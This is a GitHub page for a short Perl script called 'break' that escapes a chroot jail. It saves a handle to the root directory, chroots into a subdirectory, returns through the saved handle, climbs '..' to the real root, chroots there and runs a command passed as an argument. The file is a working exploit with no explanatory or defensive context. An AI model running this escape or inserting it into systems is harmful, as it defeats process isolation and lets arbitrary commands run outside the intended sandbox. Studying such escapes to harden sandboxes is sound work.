Permalink
Find file
Fetching contributors…
Cannot retrieve contributors at this time
executable file 20 lines (18 sloc) 345 Bytes
#!/usr/bin/perl
if (@ARGV <= 1)
{
print "usage: ./break <cmd> <cwd>\n";
exit;
}
chdir "/";
opendir JAILROOT, "." or die "jrfh err\n";
mkdir "sub";
chdir "sub";
chroot ".";
chdir *JAILROOT;
while ((stat("."))[0] != (stat(".."))[0] or (stat("."))[1] != (stat(".."))[1]) {
chdir "..";
}
chroot ".";
chdir "$ARGV[1]";
print `$ARGV[0]`;